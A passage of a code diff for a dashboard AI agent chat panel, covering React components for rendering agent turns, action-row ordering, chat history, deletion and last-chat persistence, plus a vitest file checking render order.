className="shrink-0 rounded p-1 text-text-dimmed opacity-0 transition-opacity hover:text-error group-hover:opacity-100 group-focus-within:opacity-100 focus-visible:opacity-100 focus-custom"
>
<TrashIcon className="size-3.5" />
</button>
</div>
</li>
))}
</ol>
<AgentList>
{chats.map((chat) => {
const process = chatProcess(chat, chat.id === thinkingChatId);
const age = chat.lastMessageAt ? chatAge(chat.lastMessageAt, now) : undefined;
return (
<AgentListRow
key={chat.id}
label={chat.title}
status={process ? <ProcessIcon process={process} /> : null}
meta={age}
variant={chat.id === currentChatId ? "selected" : "default"}
onSelect={() => onSelect(chat.id)}
action={
<AgentListRowAction
icon={TrashIcon}
label={`Delete chat: ${chat.title}`}
onClick={() => setPendingDelete(chat)}
danger
/>
}
/>
);
})}
</AgentList>
)}
</div>
</div>
<Dialog
open={pendingDelete !== null}
onOpenChange={(open) => !open && setPendingDelete(null)}
>
<DialogContent>
<DialogHeader>Delete this chat?</DialogHeader>
<div className="flex flex-col gap-3 pt-3">
<Paragraph>
"{pendingDelete?.title}" and everything in it will be deleted. This can't be undone.
</Paragraph>
<FormButtons
confirmButton={
<Button
type="button"
variant="danger/medium"
LeadingIcon={TrashIcon}
shortcut={{ modifiers: ["mod"], key: "enter" }}
onClick={() => {
if (pendingDelete) onDelete(pendingDelete.id);
setPendingDelete(null);
}}
>
Delete chat
</Button>
}
cancelButton={
<Button variant="tertiary/medium" onClick={() => setPendingDelete(null)}>
Cancel
</Button>
}
/>
</div>
</DialogContent>
</Dialog>
</>
);
}
@@ -0,0 +1,148 @@
import type { UIMessage } from "@ai-sdk/react";
import { createElement } from "react";
import { renderToStaticMarkup } from "react-dom/server";
import { describe, expect, it } from "vitest";
import { OperatingSystemContextProvider } from "~/components/primitives/OperatingSystemProvider";
import { ShortcutsProvider } from "~/components/primitives/ShortcutsProvider";
import { DashboardAgentTurns, splitActionsBlocks } from "./DashboardAgentMessages";
/**
* The model emits the actions block wherever it likes — the renderer pins the buttons to
* the bottom of the turn. Static markup, so this proves the rendered order and nothing
* about interaction.
*/
const actionsBlock = (label: string) => ({
type: "actions",
id: label,
revision: 0,
version: 1,
actions: [{ label, intent: { kind: "ask", prompt: `${label}?` } }],
});
const card = {
type: "investigation",
id: "inv_1",
revision: 0,
version: 1,
investigation: {
outcome: "concluded",
severity: "crit",
confidence: "high",
title: "A card that is not an actions row",
headline: "Every attempt dies on a null order id.",
remediation: "Guard the receipt builder against a missing order.",
hypotheses: [],
evidence: [],
},
};
function text(value: string) {
return { type: "text", text: value };
}
function view(...blocks: unknown[]) {
return { type: "tool-render_view", state: "output-available", output: { blocks } };
}
function markup(parts: unknown[]) {
const message = { id: "m1", role: "assistant", parts } as unknown as UIMessage;
return renderToStaticMarkup(
createElement(
OperatingSystemContextProvider,
{ platform: "mac" },
createElement(
ShortcutsProvider,
null,
createElement(DashboardAgentTurns, {
messages: [message],
activity: null,
onIntent: () => {},
})
)
)
);
}
/** Every needle must be present: a missing one is -1, and -1 comparisons pass vacuously. */
function order(html: string, ...needles: string[]) {
return needles.map((needle) => {
const at = html.indexOf(needle);
expect(at, `missing "${needle}"`).toBeGreaterThan(-1);
return at;
});
}
describe("action rows render at the end of the turn", () => {
it("moves an actions block below the closing text it was emitted above", () => {
const html = markup([
text("Here is what I found."),
view(actionsBlock("Watch it")),
text("Want me to watch it?"),
]);
const [found, offer, button] = order(
html,
"Here is what I found.",
"Want me to watch it?",
"Watch it"
);
expect(found).toBeGreaterThan(-1);
expect(offer).toBeGreaterThan(-1);
expect(button).toBeGreaterThan(offer);
});
it("keeps two actions blocks in their relative order, both after the card", () => {
const html = markup([view(actionsBlock("First")), view(card), view(actionsBlock("Second"))]);
const [summary, first, second] = order(
html,
"A card that is not an actions row",
"First",
"Second"
);
expect(first).toBeGreaterThan(summary);
expect(second).toBeGreaterThan(first);
});
it("leaves a turn without actions exactly as emitted", () => {
const html = markup([text("Only text."), view(card), text("Then more text.")]);
const [only, summary, more] = order(
html,
"Only text.",
"A card that is not an actions row",
"Then more text."
);
expect(summary).toBeGreaterThan(only);
expect(more).toBeGreaterThan(summary);
});
it("pulls the actions out of a block list that also carries a card", () => {
const html = markup([view(actionsBlock("Watch it"), card), text("Want me to watch it?")]);
const [summary, offer, button] = order(
html,
"A card that is not an actions row",
"Want me to watch it?",
"Watch it"
);
expect(offer).toBeGreaterThan(summary);
expect(button).toBeGreaterThan(offer);
});
});
describe("splitActionsBlocks", () => {
it("separates actions from everything else, each keeping its order", () => {
const first = actionsBlock("First");
const second = actionsBlock("Second");
expect(splitActionsBlocks([first, card, second])).toEqual({
content: [card],
actions: [first, second],
});
});
it("returns no actions when the list has none", () => {
expect(splitActionsBlocks([card])).toEqual({ content: [card], actions: [] });
});
});
@@ -1,84 +1,400 @@
import type { UIMessage } from "@ai-sdk/react";
import { memo } from "react";
import { Spinner } from "~/components/primitives/Spinner";
import { MessageBubble, renderPart } from "~/components/runs/v3/agent/AgentMessageView";
import { useAutoScrollToBottom } from "~/hooks/useAutoScrollToBottom";
import { ArrowPathIcon, BookOpenIcon, XMarkIcon } from "@heroicons/react/20/solid";
import type { AgentIntent } from "@internal/dashboard-agent-contracts";
import { useNavigate } from "@remix-run/react";
import { memo, useMemo, useRef } from "react";
import { Button, LinkButton } from "~/components/primitives/Buttons";
import { Callout } from "~/components/primitives/Callout";
import { renderPart, toSafeUrl } from "~/components/runs/v3/agent/AgentMessageView";
import { sameOriginPath } from "./navigate-target";
import { IN_FLIGHT_TOOL_STATES, liveProgress, type TurnActivity } from "./progress-line";
import { useTranscriptAutoScroll } from "./useTranscriptAutoScroll";
import {
ChatActionsRow,
ChatCardSlot,
ChatProgress,
ChatText,
ChatTranscript,
ChatTurn,
} from "./chat-layout";
import { reuseWinners } from "./investigation-winners";
import { stripModelImages } from "./model-markdown";
import { reportBlockFromToolPart } from "./report-block-adapter";
import { shouldShowLiveTurnError } from "./turn-error";
import type { ResolvedUri } from "./ReportView";
import { answerContinuesAfter } from "./view-actions";
import { ViewBlocks } from "./view-catalog";
// The shared MessageBubble renders `step-start` parts as a dashed "step"
// separator — useful in the run inspector / playground, just noise in this
// simple chat. Drop them before rendering (reference preserved when there are
// none, so memoization still holds for those messages).
function stripStepParts(message: UIMessage): UIMessage {
export type { TurnActivity };
export type DashboardAgentMessagesProps = {
messages: UIMessage[];
activity: TurnActivity | null;
error?: Error;
onRetry?: () => void;
onDismissError?: () => void;
onIntent?: (intent: AgentIntent) => void;
resolveUri?: (uri: string) => ResolvedUri | null;
pagePaths?: Record<string, string>;
};
// Cached so a stripped message keeps its identity across renders and memoization holds:
// rebuilding it re-renders every tool-calling turn on each streamed token.
// Relies on @ai-sdk/react cloning a message per update: an SDK mutating one in place would
// keep serving the cached copy of its earlier state.
const strippedMessages = new WeakMap<UIMessage, UIMessage>();
export function stripStepParts(message: UIMessage): UIMessage {
if (!message.parts?.some((p) => p.type === "step-start")) return message;
return { ...message, parts: message.parts.filter((p) => p.type !== "step-start") };
const cached = strippedMessages.get(message);
if (cached) return cached;
const stripped = { ...message, parts: message.parts.filter((p) => p.type !== "step-start") };
strippedMessages.set(message, stripped);
return stripped;
}
// A completed render_view tool part carries a `{ blocks }` view spec the agent
// composed (see the dashboard-agent view catalog). We render those blocks as
// rich cards instead of the generic tool row.
function viewSpecFor(part: UIMessage["parts"][number]): { blocks: unknown[] } | null {
const p = part as { type: string; output?: { blocks?: unknown[] } };
if (p.type !== "tool-render_view") return null;
return Array.isArray(p.output?.blocks) ? { blocks: p.output!.blocks! } : null;
}
// Renders one message. Assistant messages that include a completed render_view
// part get the catalog cards (plus the gather tool rows / lead-in text for
// transparency); everything else uses the shared MessageBubble unchanged, so
// its streaming memoization is preserved for the common case.
const DashboardAgentMessageBubble = memo(function DashboardAgentMessageBubble({
export function blocksFor(part: UIMessage["parts"][number]): unknown[] | null {
const spec = viewSpecFor(part);
if (spec) return spec.blocks;
const hostBlocks = hostViewBlocks(part);
if (hostBlocks) return hostBlocks;
const report = reportBlockFromToolPart(part);
return report ? [report] : null;
}
function hostViewBlocks(part: UIMessage["parts"][number]): unknown[] | null {
const p = part as { type: string; data?: { blocks?: unknown[] } };
if (p.type !== "data-view") return null;
return Array.isArray(p.data?.blocks) ? p.data!.blocks! : null;
}
// `blocksFor` minus the report branch, which the winner pass would only throw away:
// a report block is always `type: "report"`, so it can never be an investigation.
// Reports are parsed by the turn that renders them, not once per streamed token.
function investigationBlocksFor(part: UIMessage["parts"][number]): unknown[] | null {
const spec = viewSpecFor(part);
if (spec) return spec.blocks;
return hostViewBlocks(part);
}
type InvestigationRef = { id: string; revision: number };
function investigationRef(block: unknown): InvestigationRef | null {
const b = block as { type?: string; id?: string; revision?: number };
if (b?.type !== "investigation" || typeof b.id !== "string") return null;
return { id: b.id, revision: typeof b.revision === "number" ? b.revision : 0 };
}
/**
* Per investigation id, the one `messageId:partIndex` allowed to render: highest revision.
* Indexed over the same stripped parts the renderer walks, so the two agree on what part 0 is.
*/
export function winningInvestigationOccurrences(messages: UIMessage[]): Map<string, string> {
const best = new Map<string, { revision: number; occurrence: string }>();
for (const message of messages.map(stripStepParts)) {
(message.parts ?? []).forEach((part, partIndex) => {
for (const block of investigationBlocksFor(part) ?? []) {
const ref = investigationRef(block);
if (!ref) continue;
const current = best.get(ref.id);
if (!current || ref.revision >= current.revision) {
best.set(ref.id, {
revision: ref.revision,
occurrence: `${message.id}:${partIndex}`,
});
}
}
});
}
return new Map([...best.entries()].map(([id, w]) => [id, w.occurrence]));
}
// The stable identity is the point: a fresh `Map` re-renders the whole transcript per token.
function useInvestigationWinners(messages: UIMessage[]): Map<string, string> {
const previous = useRef<Map<string, string>>();
const next = useMemo(() => winningInvestigationOccurrences(messages), [messages]);
previous.current = reuseWinners(previous.current, next);
return previous.current;
}
function withoutSupersededInvestigations(
blocks: unknown[],
occurrence: string,
winners: Map<string, string> | undefined
): unknown[] {
if (!winners) return blocks;
return blocks.filter((block) => {
const ref = investigationRef(block);
return !ref || winners.get(ref.id) === occurrence;
});
}
function isActionsBlock(block: unknown): boolean {
return (block as { type?: unknown } | null)?.type === "actions";
}
/**
* Buttons belong at the bottom of a turn, wherever the model emitted them: the actions
* blocks are rendered after everything else, keeping their order among themselves.
* Display only — the parts the turn walks are untouched.
*/
export function splitActionsBlocks<T>(blocks: T[]): { content: T[]; actions: T[] } {
return {
content: blocks.filter((block) => !isActionsBlock(block)),
actions: blocks.filter(isActionsBlock),
};
}
// #region chat-layout transcript
// `chat-layout.test.ts` fails if a spacing utility class appears in this region.
/** Until the resolver answers, the link degrades to its plain label, never a dead href. */
const TRIGGER_MD_LINK = /\[([^\]]+)\]\((trigger:\/\/[^\s)]+)\)/g;
function resolveTriggerLinks(
text: string,
resolveUri?: (uri: string) => ResolvedUri | null
): string {
if (!text.includes("trigger://")) return text;
return text.replace(TRIGGER_MD_LINK, (whole, label: string, uri: string) => {
const resolved = resolveUri?.(uri);
return resolved ? `[${label}](${resolved.url})` : label;
});
}
function renderDashboardPart(
part: UIMessage["parts"][number],
i: number,
resolveUri?: (uri: string) => ResolvedUri | null
) {
const p = part as {
type: string;
text?: string;
url?: string;
title?: string;
state?: string;
};
const type = part.type as string;
if (type === "text") {
// Images last: the link resolver's output is model-supplied too.
return p.text ? (
<ChatText key={i} text={stripModelImages(resolveTriggerLinks(p.text, resolveUri))} />
) : null;
}
if (type.startsWith("tool-")) {
// In-flight calls render nothing here; `liveProgress` owns the turn's progress line.
if (IN_FLIGHT_TOOL_STATES.has(p.state ?? "")) return null;
if (p.state === "output-error") return renderPart(part, i);
return null;
}
return renderPart(part, i);
}
function citationFor(part: UIMessage["parts"][number]): { url: string; label: string } | null {
const p = part as { type: string; url?: string; title?: string };
if (p.type !== "source-url") return null;
const url = toSafeUrl(p.url);
const label = p.title || p.url;
return url && label ? { url, label } : null;
}
function CitationButton({ url, label }: { url: string; label: string }) {
const navigate = useNavigate();
const path = typeof window === "undefined" ? null : sameOriginPath(url, window.location.origin);
if (path) {
return (
<Button variant="docs/small" LeadingIcon={BookOpenIcon} onClick={() => navigate(path)}>
{label}
</Button>
);
}
return (
<LinkButton to={url} variant="docs/small" LeadingIcon={BookOpenIcon}>
{label}
</LinkButton>
);
}
function userText(message: UIMessage): string {
return (
message.parts
?.filter((part) => part.type === "text")
.map((part) => (part as { type: "text"; text: string }).text)
.join("") ?? ""
);
}
const DashboardAgentTurn = memo(function DashboardAgentTurn({
message,
onIntent,
resolveUri,
pagePaths,
investigationWinners,
}: {
message: UIMessage;
onIntent?: (intent: AgentIntent) => void;
resolveUri?: (uri: string) => ResolvedUri | null;
pagePaths?: Record<string, string>;
/** See {@link winningInvestigationOccurrences}. */
investigationWinners?: Map<string, string>;
}) {
if (message.role !== "assistant" || !message.parts?.some((p) => viewSpecFor(p))) {
return <MessageBubble message={message} />;
if (message.role === "user") {
return (
<ChatTurn role="user">
<ChatText role="user" text={userText(message)} />
</ChatTurn>
);
}
if (message.role !== "assistant") return null;
const parts = message.parts ?? [];
if (parts.length === 0) return null;
const body: React.ReactNode[] = [];
const actionRows: React.ReactNode[] = [];
for (let i = 0; i < parts.length; i++) {
const part = parts[i]!;
const rawBlocks = blocksFor(part);
if (rawBlocks) {
const blocks = withoutSupersededInvestigations(
rawBlocks,
`${message.id}:${i}`,
investigationWinners
);
// `answered` stays keyed on the emission index: the reorder is display only.
const slot = (list: unknown[], key: string) => (
<ChatCardSlot key={key}>
<ViewBlocks
blocks={list as never}
onIntent={onIntent}
resolveUri={resolveUri}
pagePaths={pagePaths}
answered={answerContinuesAfter(parts as never, i)}
/>
</ChatCardSlot>
);
const { content, actions } = splitActionsBlocks(blocks);
if (content.length > 0) body.push(slot(content, `${i}`));
if (actions.length > 0) actionRows.push(slot(actions, `actions-${i}`));
continue;
}
if (citationFor(part)) {
const start = i;
const buttons: React.ReactNode[] = [];
while (i < parts.length) {
const citation = citationFor(parts[i]!);
if (!citation) break;
buttons.push(<CitationButton key={i} url={citation.url} label={citation.label} />);
i++;
}
i--;
body.push(<ChatActionsRow key={`citations-${start}`}>{buttons}</ChatActionsRow>);
continue;
}
body.push(renderDashboardPart(part, i, resolveUri));
}
return (
<div className="space-y-2">
{message.parts.map((part, i) => {
const spec = viewSpecFor(part);
if (spec) return <ViewBlocks key={i} blocks={spec.blocks as never} />;
return renderPart(part, i);
})}
</div>
<ChatTurn>
{body}
{actionRows}
</ChatTurn>
);
});
// Renders the conversation with the shared agent message renderer — the same
// MessageBubble the run inspector and playground use, so agent output looks
// identical everywhere — except where the agent emits a view-catalog block,
// which renders as a rich card.
export function DashboardAgentMessages({
export function DashboardAgentTurns({
messages,
isThinking,
activity,
error,
}: {
messages: UIMessage[];
isThinking: boolean;
error?: Error;
}) {
const rootRef = useAutoScrollToBottom([messages, isThinking]);
onRetry,
onDismissError,
onIntent,
resolveUri,
pagePaths,
}: DashboardAgentMessagesProps) {
// Must be the exact parts the turns render: the winners map keys by part index.
const stripped = useMemo(() => messages.map(stripStepParts), [messages]);
// Must not go null mid-flight: null unmounts the line and it blinks. The error
// callout below legitimately renders after it.
const progress = liveProgress(stripped, activity);
const investigationWinners = useInvestigationWinners(stripped);
const liveError = shouldShowLiveTurnError(error, stripped) ? error : undefined;
return (
<div className="flex-1 overflow-y-auto scrollbar-thin scrollbar-track-transparent scrollbar-thumb-surface-control">
<div ref={rootRef} className="space-y-4 p-4">
{messages.map((message) => (
<DashboardAgentMessageBubble key={message.id} message={stripStepParts(message)} />
))}
{isThinking && (
<div className="flex items-center gap-2 text-sm text-text-dimmed">
<Spinner className="size-3" />
Thinking
</div>
)}
{error && (
<div className="rounded border border-error/30 bg-error/10 px-3 py-2">
<span className="text-xs text-error">{error.message}</span>
</div>
)}
</div>
</div>
<>
{stripped.map((message) => (
<DashboardAgentTurn
key={message.id}
message={message}
onIntent={onIntent}
resolveUri={resolveUri}
pagePaths={pagePaths}
investigationWinners={investigationWinners}
/>
))}
{progress && (
<ChatTurn>
<ChatProgress>{progress.label}</ChatProgress>
</ChatTurn>
)}
{/* Suppressed once the transcript ends in the stored record of this same
failure, so a reload doesn't show the callout and the record together. */}
{liveError && (
<ChatTurn>
<ChatCardSlot>
<Callout
variant="error"
cta={
(onRetry || onDismissError) && (
<ChatActionsRow>
{onRetry && (
<Button variant="primary/small" LeadingIcon={ArrowPathIcon} onClick={onRetry}>
Try again
</Button>
)}
{onDismissError && (
<Button
variant="minimal/small"
LeadingIcon={XMarkIcon}
onClick={onDismissError}
aria-label="Dismiss error"
/>
)}
</ChatActionsRow>
)
}
>
{liveError.message}
</Callout>
</ChatCardSlot>
</ChatTurn>
)}
</>
);
}
export function DashboardAgentMessages(props: DashboardAgentMessagesProps) {
const rootRef = useTranscriptAutoScroll(props.messages, props.activity);
return (
<ChatTranscript contentRef={rootRef}>
<DashboardAgentTurns {...props} />
</ChatTranscript>
);
}
// #endregion chat-layout transcript
@@ -2,7 +2,9 @@ import type { UIMessage } from "@ai-sdk/react";
import { useLocation } from "@remix-run/react";
import { generateFriendlyId } from "@trigger.dev/core/v3/isomorphic";
import { useCallback, useEffect, useMemo, useRef, useState } from "react";
import { Spinner } from "~/components/primitives/Spinner";
import { AgentSpinner } from "~/components/primitives/Spinner";
import { useToast } from "~/components/primitives/Toast";
import { useAgentPageContext } from "~/hooks/useAgentPageContext";
import { useApiOrigin } from "~/hooks/useApiOrigin";
import { useEnvironment } from "~/hooks/useEnvironment";
import { useOrganization } from "~/hooks/useOrganizations";
@@ -13,56 +15,90 @@ import {
type DashboardAgentClientData,
type DashboardAgentSession,
} from "./DashboardAgentChat";
import { DashboardAgentDraft } from "./DashboardAgentDraft";
import { DashboardAgentHeader } from "./DashboardAgentHeader";
import { createCoalescedReload } from "./coalesced-reload";
import {
DashboardAgentHistory,
type DashboardAgentChat as DashboardAgentChatListItem,
} from "./DashboardAgentHistory";
forgetLastChat,
lastChatStorageKey,
readLastChat,
shouldPersistLastChat,
writeLastChat,
} from "./last-chat-storage";
import { DashboardAgentDraft } from "./DashboardAgentDraft";
import type { TurnActivity } from "./DashboardAgentMessages";
import { DashboardAgentHeader } from "./DashboardAgentHeader";
import type { DashboardAgentChat as DashboardAgentChatListItem } from "./DashboardAgentHistory";
import type { SuggestedPrompt } from "@internal/dashboard-agent-contracts";
import { resolveOpenedChat, type OpenedChatResponse } from "./opened-chat";
import type { AgentPageContext } from "./page-context-types";
import { agentPageLabel } from "./page-label";
import { AgentPanelColumn } from "./panel-layout";
import { markerAfterActiveChat, markerAfterActivity } from "./thinking-marker";
import { concurrencyPath } from "~/utils/pathBuilder";
// Restore the last open chat across panel re-opens and page reloads. Scoped by
// org because chats are org-scoped. localStorage (not a cookie) since the panel
// only mounts client-side — the server never needs this.
const lastChatStorageKey = (organizationId: string) =>
`tdev:dashboard-agent:last-chat:${organizationId}`;
function serializePageContext(pageContext: AgentPageContext): string | undefined {
try {
return JSON.stringify(pageContext);
} catch {
return undefined;
}
}
type ActiveChat = {
chatId: string;
// The org the chat belongs to, so a switch can't file it under the new org's key.
organizationId: string;
messages: UIMessage[];
session: DashboardAgentSession | null;
// Cold start only: the agent run has no warm step-1, so the mounted chat sends
// this first message through the transport to trigger the turn. Undefined for
// head-started and resumed chats — their stream is resumed, not re-sent.
pendingFirstMessage?: string;
// True for a head-started chat: the turn is already in flight server-side, so
// the transport must hydrate the session as streaming to resume `session.out`.
// Head start: the turn is already in flight, so the session hydrates as streaming.
streaming?: boolean;
};
/**
* The dashboard agent side panel. Owns history, the active chat, and last-chat
* persistence. New chats start in a draft state with no id; the server
* generates the chat id on the first send (`create`) and owns the chat record,
* so the client never invents an id. Existing chats resolve their stored
* transcript + session before mounting `DashboardAgentChat` (keyed by chatId).
*/
export function DashboardAgentPanel({ onClose }: { onClose: () => void }) {
// The server generates the chat id on the first send; the client never invents one.
export function DashboardAgentPanel({
onClose,
requestedMessage,
newChatSeq,
promotedPrompt,
isFullscreen = false,
onToggleFullscreen,
}: {
onClose: () => void;
isFullscreen?: boolean;
onToggleFullscreen?: () => void;
// Every `seq` below distinguishes repeat requests with identical contents.
requestedMessage?: { text: string; seq: number };
newChatSeq?: number;
promotedPrompt?: SuggestedPrompt;
}) {
const organization = useOrganization();
const project = useProject();
const environment = useEnvironment();
const user = useUser();
const apiOrigin = useApiOrigin();
const location = useLocation();
const [view, setView] = useState<"chat" | "history">("chat");
const [chats, setChats] = useState<DashboardAgentChatListItem[]>([]);
const [active, setActive] = useState<ActiveChat | null>(null);
const [loading, setLoading] = useState(false);
const pageContext = useAgentPageContext();
const toast = useToast();
const actionPath = `/resources/orgs/${organization.slug}/projects/${project.slug}/env/${environment.slug}/dashboard-agent`;
const storageKey = lastChatStorageKey(organization.id);
const currentPage = location.pathname.split("/").filter(Boolean).pop() ?? "overview";
const [chats, setChats] = useState<DashboardAgentChatListItem[]>([]);
const [active, setActive] = useState<ActiveChat | null>(null);
// Starts true so an `openWith` request waits for the restore instead of racing it.
const [loading, setLoading] = useState(
() => readLastChat(storageKey)?.path === location.pathname
);
const currentPage = agentPageLabel(pageContext, location.pathname);
const pagePaths = useMemo<Record<string, string>>(
() => ({ raise_env_limit: concurrencyPath(organization, project, environment) }),
[organization, project, environment]
);
// A fresh object every render, so the clientData memo keys off the serialized form.
const pageContextKey = serializePageContext(pageContext);
const clientData = useMemo<DashboardAgentClientData>(
() => ({
@@ -71,69 +107,76 @@ export function DashboardAgentPanel({ onClose }: { onClose: () => void }) {
projectId: project.id,
environmentId: environment.id,
currentPage: location.pathname,
pageContext: pageContextKey ? (JSON.parse(pageContextKey) as AgentPageContext) : undefined,
}),
[user.id, organization.id, project.id, environment.id, location.pathname]
[user.id, organization.id, project.id, environment.id, location.pathname, pageContextKey]
);
const loadHistory = useCallback(async () => {
const res = await fetch(actionPath);
if (res.ok) {
const data = (await res.json()) as { chats?: DashboardAgentChatListItem[] };
setChats(data.chats ?? []);
}
}, [actionPath]);
const [thinkingChatId, setThinkingChatId] = useState<string | null>(null);
const handleActivityChange = useCallback((chatId: string, activity: TurnActivity | null) => {
setThinkingChatId((previous) => markerAfterActivity(previous, chatId, activity));
}, []);
// Bumped on each open so a slower earlier open can't overwrite a newer one
// when chats are switched rapidly.
// Ordering-safe: if the new chat has not reported yet, its own report re-sets the marker.
useEffect(() => {
setThinkingChatId((previous) => markerAfterActiveChat(previous, active?.chatId));
}, [active?.chatId]);
const loadHistory = useMemo(
() =>
createCoalescedReload(async () => {
try {
const res = await fetch(actionPath);
if (!res.ok) throw new Error(`History request failed (${res.status})`);
const data = (await res.json()) as { chats?: DashboardAgentChatListItem[] };
setChats(data.chats ?? []);
} catch (error) {
console.error("Dashboard agent: failed to load chat history", error);
toast.error("We couldn't load your previous chats. Try again in a moment.");
}
}),
[actionPath, toast]
);
// Bumped on each open so a slower earlier open can't overwrite a newer one.
const openChatRequestSeq = useRef(0);
// Open an existing chat: fetch its stored transcript + session so resume flows
// in through the transport at mount. A stored id that's gone (deleted / never
// sent) drops back to the draft state.
const openChat = useCallback(
async (id: string) => {
setView("chat");
const seq = ++openChatRequestSeq.current;
setLoading(true);
try {
const res = await fetch(`${actionPath}?chatId=${encodeURIComponent(id)}`);
const data = res.ok
? ((await res.json()) as {
messages?: UIMessage[];
session?: { publicAccessToken: string; lastEventId: string | null } | null;
})
: { messages: [], session: null };
if (seq !== openChatRequestSeq.current) return;
if (data.messages && data.messages.length > 0) {
setActive({
chatId: id,
messages: data.messages,
session: data.session?.publicAccessToken
? {
publicAccessToken: data.session.publicAccessToken,
lastEventId: data.session.lastEventId ?? undefined,
}
: null,
});
} else {
// Nothing stored under this id — drop to a fresh draft.
setActive(null);
if (!res.ok && res.status !== 404) {
console.error(`Dashboard agent: failed to open chat ${id} (${res.status})`);
toast.error("We couldn't open that chat. Try again in a moment.");
// Transient failure: keep the stored pointer so the chat can be reopened.
if (seq === openChatRequestSeq.current) setActive(null);
return;
}
const data = res.ok ? ((await res.json()) as OpenedChatResponse) : undefined;
if (seq !== openChatRequestSeq.current) return;
const opened = resolveOpenedChat(id, data);
if (opened.kind === "gone") {
// Deleted, or another org's: drop the pointer so it can't be restored again.
setActive(null);
forgetLastChat(storageKey);
return;
}
setActive({ ...opened, organizationId: organization.id });
} catch (error) {
console.error(`Dashboard agent: failed to open chat ${id}`, error);
toast.error("We couldn't open that chat. Try again in a moment.");
if (seq === openChatRequestSeq.current) setActive(null);
} finally {
if (seq === openChatRequestSeq.current) setLoading(false);
}
},
[actionPath]
[actionPath, organization.id, storageKey, toast]
);
// Start a new chat by sending its first message. The server generates the id,
// creates the chat record, and kicks off the first turn (head start when
// configured, else a cold session). We then mount the real chat on the server
// id and either resume its stream (head start) or send the message through
// the transport (cold start).
const createChat = useCallback(
async (text: string) => {
setView("chat");
const seq = ++openChatRequestSeq.current;
setLoading(true);
try {
@@ -153,56 +196,84 @@ export function DashboardAgentPanel({ onClose }: { onClose: () => void }) {
headStarted?: boolean;
error?: string;
};
// A newer open/create (or New chat) superseded this one — drop the result.
if (seq !== openChatRequestSeq.current) return;
if (!res.ok || !data.chatId || !data.publicAccessToken) {
console.error(`Dashboard agent: failed to create chat (${res.status})`, data.error);
toast.error(data.error ?? "We couldn't start that chat. Try again in a moment.");
setActive(null);
return;
}
setActive({
chatId: data.chatId,
organizationId: organization.id,
messages: data.headStarted ? [userMessage] : [],
session: { publicAccessToken: data.publicAccessToken },
pendingFirstMessage: data.headStarted ? undefined : text,
streaming: data.headStarted,
});
} catch (error) {
console.error("Dashboard agent: failed to create chat", error);
toast.error("We couldn't start that chat. Try again in a moment.");
if (seq === openChatRequestSeq.current) setActive(null);
} finally {
if (seq === openChatRequestSeq.current) setLoading(false);
}
},
[actionPath, clientData]
[actionPath, clientData, organization.id, toast]
);
// On open, restore the last chat if there is one; otherwise stay in the draft
// state (active = null). Runs once per mount.
const restored = useRef(false);
useEffect(() => {
if (restored.current) return;
restored.current = true;
let stored: string | null = null;
try {
stored = window.localStorage.getItem(storageKey);
} catch {
/* localStorage unavailable — start fresh */
void loadHistory();
const stored = readLastChat(storageKey);
if (stored && stored.path === location.pathname) {
void openChat(stored.chatId);
} else {
setLoading(false);
}
if (stored) void openChat(stored);
}, [openChat, storageKey]);
// location is deliberately not a dep: this is a mount-time decision.
// eslint-disable-next-line react-hooks/exhaustive-deps
}, [openChat, storageKey, loadHistory]);
// Persist the active chat as the one to restore next time.
// Crossing into another org does not remount the layout.
const panelOrg = useRef(organization.id);
useEffect(() => {
if (!active?.chatId) return;
try {
window.localStorage.setItem(storageKey, active.chatId);
} catch {
/* ignore */
if (panelOrg.current === organization.id) return;
panelOrg.current = organization.id;
openChatRequestSeq.current += 1;
setActive(null);
setLoading(false);
setChats([]);
void loadHistory();
}, [organization.id, loadHistory]);
useEffect(() => {
if (!shouldPersistLastChat(active, organization.id)) return;
writeLastChat(storageKey, { chatId: active.chatId, path: location.pathname });
}, [active, organization.id, storageKey, location.pathname]);
// Bound to its chat, which remounts with a fresh guard ref on every switch.
const [prefill, setPrefill] = useState<{ text: string; seq: number; chatId: string } | undefined>(
undefined
);
const handledRequestSeq = useRef<number | undefined>(undefined);
useEffect(() => {
if (!requestedMessage || loading) return;
if (handledRequestSeq.current === requestedMessage.seq) return;
handledRequestSeq.current = requestedMessage.seq;
if (active) {
setPrefill({ ...requestedMessage, chatId: active.chatId });
} else {
void createChat(requestedMessage.text);
}
}, [active?.chatId, storageKey]);
}, [requestedMessage, loading, active, createChat]);
const newChat = useCallback(() => {
// Invalidate any in-flight open/create so its result can't replace the draft.
// Invalidate any in-flight open or create so its result can't replace the draft.
openChatRequestSeq.current += 1;
setLoading(false);
setView("chat");
setActive(null);
}, []);
@@ -213,70 +284,101 @@ export function DashboardAgentPanel({ onClose }: { onClose: () => void }) {
[openChat]
);
// The ref skips the mount-time value so opening the panel never resets a restored chat.
const seenNewChatSeq = useRef(newChatSeq ?? 0);
useEffect(() => {
if (newChatSeq === undefined || newChatSeq === seenNewChatSeq.current) return;
seenNewChatSeq.current = newChatSeq;
newChat();
}, [newChatSeq, newChat]);
const deleteChat = useCallback(
async (id: string) => {
const body = new FormData();
body.set("intent", "delete");
body.set("chatId", id);
await fetch(actionPath, { method: "POST", body });
try {
const res = await fetch(actionPath, { method: "POST", body });
if (!res.ok) throw new Error(`Delete failed (${res.status})`);
} catch (error) {
console.error("Dashboard agent: failed to delete chat", error);
toast.error("We couldn't delete that chat. Try again in a moment.");
return;
}
setThinkingChatId((previous) => (previous === id ? null : previous));
if (id === active?.chatId) newChat();
void loadHistory();
},
[actionPath, active?.chatId, newChat, loadHistory]
[actionPath, active?.chatId, newChat, loadHistory, toast]
);
const toggleHistory = useCallback(() => {
setView((v) => {
if (v === "chat") void loadHistory();
return v === "chat" ? "history" : "chat";
});
}, [loadHistory]);
// Titles are written when the first turn settles, so a new chat has none yet.
const activeChat = active ? chats.find((chat) => chat.id === active.chatId) : undefined;
const headerTitle = active ? (activeChat?.title ?? "Chat") : "New chat";
return (
<div className="flex h-full flex-col bg-background-bright animate-in slide-in-from-right-2 duration-150">
<div
className="flex h-full flex-col bg-background-bright animate-in slide-in-from-right-2 duration-150"
// A React handler, not a global hotkey, so Esc stays scoped to the panel.
onKeyDown={(event) => {
if (event.key !== "Escape" || event.defaultPrevented) return;
event.preventDefault();
onClose();
}}
>
<DashboardAgentHeader
view={view}
title={headerTitle}
chats={chats}
currentChatId={active?.chatId ?? ""}
thinkingChatId={thinkingChatId}
onNewChat={newChat}
onToggleHistory={toggleHistory}
showNewChat={active !== null}
onOpenHistory={loadHistory}
onSelectChat={switchChat}
onDeleteChat={deleteChat}
onToggleFullscreen={onToggleFullscreen ?? (() => {})}
